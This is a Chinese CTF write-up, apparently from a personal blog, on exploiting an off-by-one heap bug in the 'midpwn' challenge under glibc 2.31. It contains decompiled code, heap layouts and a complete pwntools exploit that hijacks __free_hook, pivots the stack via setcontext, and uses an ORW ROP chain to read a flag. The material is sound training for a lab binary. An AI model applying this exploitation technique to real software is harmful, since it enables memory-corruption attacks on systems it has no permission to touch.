0%

off-by-one

赛前复盘一道libc2.31off-by-one漏洞利用的题目。

预备知识

off-by-one

特殊的堆溢出漏洞,只溢出一个字节,从而影响下一个堆块的头部控制信息,即堆块的size位,利用思路往往是改大下一个堆块的size位,从而造成堆块重叠(overlapping)。

overlapping

将下一个堆块改大(一般改成unsortedbin的大小)后进行释放,利用unsortedbin中堆块可切割的性质,造成堆块重叠,同时可以泄露出main_arena+96。参考图如下:

Gadget:setcontext

首先来看下libc-2.27.so中的setcontext

只要我们控制住rdi寄存器且保证rdi+0A0rdi+0A8人为可控,便能控制程序执行流。在rdi+0A8ret指令进行覆盖,rdi+0A0处构造ROP链。而我们通常将__free_hook劫持为setcontext+53,而free(heap_ptr)前会将rdi写入heap_ptr,因此rdi也可控。

再来看下libc-2.31.so中的setcontext

我们发现寄存器由rdi改为了rdx,这就意味着我们需要寻找另一个gadget作为跳板,如下:

赛题详解

赛题出自第二届广东大学生网络安全大赛——midpwn。

1
2
3
4
5
6
7
fuzz@fuzz-virtual-machine:~/pwnpwnpwn/Libc2.31Training/midpwn$ checksec orz
[*] '/home/fuzz/pwnpwnpwn/Libc2.31Training/midpwn/orz'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

基本功能模块

典型的菜单题:

1
2
3
4
5
6
7
8
9
int menu()
{
puts("1. add new note.");
puts("2. edit a note.");
puts("3. show a note.");
puts("4. delte a note.");
puts("5. exit .");
return puts("Your choose which one?");
}
  1. add
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 add()
{
__int64 result; // rax
int i; // [rsp+Ch] [rbp-14h]
int size; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
void *heap; // [rsp+18h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i >= size0x20 ) //堆块上限为0x20
{
result = size0x20;
if ( i == size0x20 )
{
printf("no space left.");
exit(0);
}
return result;
}
if ( !*(&heap_ptr + i) )
break;
}
printf("please input note size : ");
size = input();
if ( size != 0x28 && size != 0xB0 ) //只允许申请0x28和0xb0大小的堆块
{
puts("your size is too small or too big.");
exit(0);
}
heap = malloc(size);
if ( heap <= 0 )
{
puts("malloc error.");
exit(0);
}
*(&heap_ptr + i) = heap;
heap_size[i] = size;
puts("please input your note.");
v3 = read(0, *(&heap_ptr + i), size);
if ( v3 < 0 || v3 > size )
{
puts("read error.");
exit(0);
}
return 0LL;
}
  1. edit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
_BYTE *edit()
{
_BYTE *result; // rax
int i; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

puts("please input note index.");
v2 = input();
if ( v2 < 0 || v2 >= size0x20 )
{
puts("hacker ! out !");
exit(0);
}
puts("please input new note.");
for ( i = 0; i <= heap_size[v2]; ++i ) //读入size+1个字节,存在off-by-one
{
read(0, (heap_ptr[v2] + i), 1uLL);
if ( *(heap_ptr[v2] + i) == 10 )
{
result = (heap_ptr[v2] + i);
*result = 0;
return result;
}
}
return 0LL;
}
  1. show
1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t show()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("please input note index.");
v1 = input();
if ( v1 < 0 || v1 >= size0x20 )
{
puts("hacker ! out !");
exit(0);
}
return write(1, heap_ptr[v1], heap_size[v1]); //打印堆内数据
}
  1. delete
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 delete()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("please input note index.");
v1 = input();
if ( v1 < 0 || v1 >= size0x20 )
{
puts("hacker ! out !");
exit(0);
}
free(heap_ptr[v1]);
heap_ptr[v1] = 0LL; //释放堆块,并将指针置零
return 0LL;
}

基本漏洞

off-by-one漏洞存在于edit功能中:

1
2
3
4
5
6
7
8
9
10
for ( i = 0; i <= heap_size[v2]; ++i )	//off-by-one
{
read(0, (heap_ptr[v2] + i), 1uLL);
if ( *(heap_ptr[v2] + i) == 10 )
{
result = (heap_ptr[v2] + i);
*result = 0;
return result;
}
}

利用思路:

  1. 填满tcache bin0xc0大小的堆块,使得下一块0xc0大小的堆块被释放后会进入unsortedbin
  2. 申请6个0x31大小的堆块(第6个堆块用于防止unsortedbin大小堆块的合并)
  3. 用第1个堆块修改第二个堆块的size位为0xc1,再将第2个堆块释放掉,该堆块便能进入unsortedbin
  4. 切割unsortedbin泄露出libc基址,并造成堆块重叠
  5. 利用堆块重叠,我们通过修改fd可以申请修改__free_hook为跳板gadget
1
2
3
.text:00000000001518B0                 mov     rdx, [rdi+8]
.text:00000000001518B4 mov [rsp+0C8h+var_C8], rax
.text:00000000001518B8 call qword ptr [rdx+20h]
  1. 申请回两个0xb0大小的堆块,对释放的堆块构造如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0x55fb03c8db90:	0x0000000000000000	0x00000000000000c1
0x55fb03c8dba0: 0x00007f0b8b87ab72 0x000055fb03c8dd50 /* ORW_ROP链
0x55fb03c8dbb0: 0x00007f0b8b87d04f 0x0000000000000000
0x55fb03c8dbc0: 0x00007f0b8b89e400 0x0000000000000002
0x55fb03c8dbd0: 0x00007f0b8b965000 0x00007f0b8b87ab72
0x55fb03c8dbe0: 0x0000000000000003 0x00007f0b8b87d04f
0x55fb03c8dbf0: 0x000055fb03c8dd50 0x00007f0b8b970241
0x55fb03c8dc00: 0x0000000000000020 0x0000000000000000
0x55fb03c8dc10: 0x00007f0b8b964ff0 0x00007f0b8b87ab72
0x55fb03c8dc20: 0x0000000000000001 0x00007f0b8b965090
0x55fb03c8dc30: 0x0000000000000000 0x0000000000000000
0x55fb03c8dc40: 0x0000000000000000 0x0000000000000000

0x55fb03c8dc50: 0x0000000000000000 0x00000000000000c1 /* 需要释放的堆块
0x55fb03c8dc60: 0x000055fb03c8dc60 0x000055fb03c8dc60 /* mov rdx, [rdi+8]
0x55fb03c8dc70: 0x6161616161616161 0x6161616161616161
0x55fb03c8dc80: 0x00007f0b8b8abf8d 0x6161616161616161 /* call qword ptr [rdx+20h]
0x55fb03c8dc90: 0x6161616161616161 0x6161616161616161 <=> call <setcontext+53>
0x55fb03c8dca0: 0x6161616161616161 0x6161616161616161
0x55fb03c8dcb0: 0x6161616161616161 0x6161616161616161
0x55fb03c8dcc0: 0x6161616161616161 0x6161616161616161
0x55fb03c8dcd0: 0x6161616161616161 0x6161616161616161
0x55fb03c8dce0: 0x6161616161616161 0x6161616161616161
0x55fb03c8dcf0: 0x6161616161616161 0x6161616161616161
0x55fb03c8dd00: 0x000055fb03c8dba0 0x00007f0b8b879679
/* mov rsp, QWORD PTR [rdx+0xa0] <=> mov rsp, [ORW_ROP链]
/* mov rcx, [rdx+0A8h] <=> mov rcx, [ret]
/* push rcx
/* ret <=> ret [rcx]

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *

io=process("./orz")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc=ELF("libc-2.31.so")

def add(size,content):
io.sendlineafter("Your choose which one?\n",str(1))
io.sendlineafter("please input note size : ",str(size))
io.sendafter("please input your note.\n",content)

def edit(idx,content):
io.sendlineafter("Your choose which one?\n",str(2))
io.sendlineafter("please input note index.\n",str(idx))
io.sendafter("please input new note.\n",content)

def show(idx):
io.sendlineafter("Your choose which one?\n",str(3))
io.sendlineafter("please input note index.\n",str(idx))

def free(idx):
io.sendlineafter("Your choose which one?\n",str(4))
io.sendlineafter("please input note index.\n",str(idx))

def exp():
# fill up 0xc1 tcache
for i in range(7):
add(0xb0,'aaaa')
for i in range(7):
free(i)

# off-by-one to leak libc_base
for i in range(6):
add(0x28,'aaaa')#0-5
edit(0,'b'*0x28+'\xc1')
free(1)
add(0x28,'flag\x00')#1
show(2)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
log.success("libc_base====>"+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']

# overlapping to leak heap_base
for i in range(3):
add(0x28,'cccc')#6-8 <==>2-4
free(2)
free(3)
show(7)
heap_base=u64(io.recv(8))&0xfffffffff000-0x2000

# hijack __free_hook
edit(7,p64(free_hook)+b'\x0a')
log.success("heap_base====>"+hex(heap_base))
magic=libc_base+0x1518B0
add(0x28,'dddd')#2
add(0x28,p64(magic))#3

# gadgets
pop_rax_ret=libc_base+0x0000000000047400
pop_rdi_ret=libc_base+0x0000000000023b72
pop_rsi_ret=libc_base+0x000000000002604f
pop_rdx_r12_ret=libc_base+0x0000000000119241
ret=libc_base+0x0000000000022679
syscall=libc_base+0x0000000000010E000

flag_addr=heap_base+0xd50
#open
orw_rop=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(0)
orw_rop+=p64(pop_rax_ret)+p64(2)+p64(syscall)
#read
orw_rop+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_addr)
orw_rop+=p64(pop_rdx_r12_ret)+p64(0x20)+p64(0)+p64(libc_base+libc.sym['read'])
#write
orw_rop+=p64(pop_rdi_ret)+p64(1)+p64(libc_base+libc.sym['write'])

rop_addr=heap_base+0xba0
jmp_addr=heap_base+0xc60
setcontext=libc_base+0x54f8d

# construct heap & trigger __free_hook
add(0xb0,p64(jmp_addr)*2+b'a'*0x10+p64(setcontext)+b'a'*0x78+p64(rop_addr)+p64(ret))#9
add(0xb0,orw_rop)#10
free(9)

io.interactive()

exp()

其他:patchelf后修复gdb的debug符号表

patchelf修改了libcld,而gdb调试时会去寻找libc目录下的.debug文件,所以无法使用一些heap/bins之类的命令,因此我们去glibc-all-in-one中下载对应版本的libc及其附带的.debug

实现操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
cd /glibc-all-in-one/

fuzz@fuzz-virtual-machine:/glibc-all-in-one$ sudo python3 update_list
[+] Common list has been save to "list"
[+] Old-release list has been save to "old_list"

fuzz@fuzz-virtual-machine:/glibc-all-in-one$ cat list
2.23-0ubuntu11.3_amd64
2.23-0ubuntu11.3_i386
2.23-0ubuntu3_amd64
2.23-0ubuntu3_i386
2.27-3ubuntu1.5_amd64
2.27-3ubuntu1.5_i386
2.27-3ubuntu1.6_amd64
2.27-3ubuntu1.6_i386
2.27-3ubuntu1_amd64
2.27-3ubuntu1_i386
2.31-0ubuntu9.7_amd64
2.31-0ubuntu9.7_i386
2.31-0ubuntu9.9_amd64
2.31-0ubuntu9.9_i386
2.31-0ubuntu9_amd64
2.31-0ubuntu9_i386
2.35-0ubuntu3.1_amd64
2.35-0ubuntu3.1_i386
2.35-0ubuntu3_amd64
2.35-0ubuntu3_i386
2.36-0ubuntu1_amd64
2.36-0ubuntu1_i386

fuzz@fuzz-virtual-machine:/glibc-all-in-one$ sudo ./download 2.31-0ubuntu9.7_amd64
fuzz@fuzz-virtual-machine:/glibc-all-in-one$ cd libs/
fuzz@fuzz-virtual-machine:/glibc-all-in-one/libs$ ls
2.31-0ubuntu9.7_amd64
fuzz@fuzz-virtual-machine:/glibc-all-in-one/libs$ cd 2.31-0ubuntu9.7_amd64

在该目录下ctrl+h便能显示出隐藏文件.debug,将.debug复制到题目的目录下,gdb调试命令就恢复了。

参考

第二届广东大学生网络安全大赛-by Verfish

Glibc-All-In-One

关于不同版本 glibc 更换的一些问题